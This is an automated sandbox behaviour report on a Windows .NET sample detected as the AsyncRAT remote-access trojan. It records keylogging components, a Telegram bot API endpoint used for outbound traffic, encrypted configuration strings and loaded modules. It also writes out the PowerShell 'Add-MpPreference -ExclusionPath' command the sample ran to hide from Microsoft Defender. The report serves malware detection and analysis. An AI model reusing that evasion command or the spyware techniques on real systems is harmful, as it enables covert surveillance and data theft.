Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameP
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3597124997.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49708 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 0_2_009DD3A4	0_2_009DD3A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 0_2_04BB0006	0_2_04BB0006
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 0_2_04BB0040	0_2_04BB0040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_011DD3A8	5_2_011DD3A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_011D13F8	5_2_011D13F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_054385C0	5_2_054385C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_0543D190	5_2_0543D190
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05439358	5_2_05439358
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05435384	5_2_05435384
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05435990	5_2_05435990
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_054327A0	5_2_054327A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_054327B0	5_2_054327B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_054303CC	5_2_054303CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_0543AA71	5_2_0543AA71
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05456408	5_2_05456408
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05453C50	5_2_05453C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05456CD8	5_2_05456CD8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05458128	5_2_05458128
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_054560C0	5_2_054560C0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6552 -s 1128

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088989997.00000000035B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000000.2075574675.0000000000232000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamefSgG.exe8 vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2102027990.0000000006890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088204496.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2102129900.0000000006B70000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600180829.0000000005569000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Binary or memory string: OriginalFilenamefSgG.exe8 vs SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Settings.cs	Base64 encoded string: 'jnxDCgaTMcMwYhKdiA0/tKI8/Kg/cnn8GHJWZDKEh0okrDm+mNQ2A54NeeFeivwu', 'L0+anQz0xL4RJfOh6xkSyVpKsrstIjy+9VAEvWldBMgNh4coKLQIfFbJKAtiWawL', 'm6aTSUtqKTZEVViuXc98ZpgQUptgC/4Z08GdDnEjSZygd3cs9h6PtA8rplIslDg/'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Settings.cs	Base64 encoded string: 'jnxDCgaTMcMwYhKdiA0/tKI8/Kg/cnn8GHJWZDKEh0okrDm+mNQ2A54NeeFeivwu', 'L0+anQz0xL4RJfOh6xkSyVpKsrstIjy+9VAEvWldBMgNh4coKLQIfFbJKAtiWawL', 'm6aTSUtqKTZEVViuXc98ZpgQUptgC/4Z08GdDnEjSZygd3cs9h6PtA8rplIslDg/'

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, YqOlYl2eFwtfPkt21E.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, YqOlYl2eFwtfPkt21E.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, YqOlYl2eFwtfPkt21E.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/11@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6552
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Mutant created: \Sessions\1\BaseNamedObjects\lsODhik7XANOkJAK

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqvi3wjx.qt2.ps1

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000000.2075574675.0000000000232000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: INSERT INTO Product(Id, Name, Units, Price, CategoryId)VALUES (@id, @name, @units, @price, @idcat); SELECT last_insert_rowid()

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6552 -s 1128
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
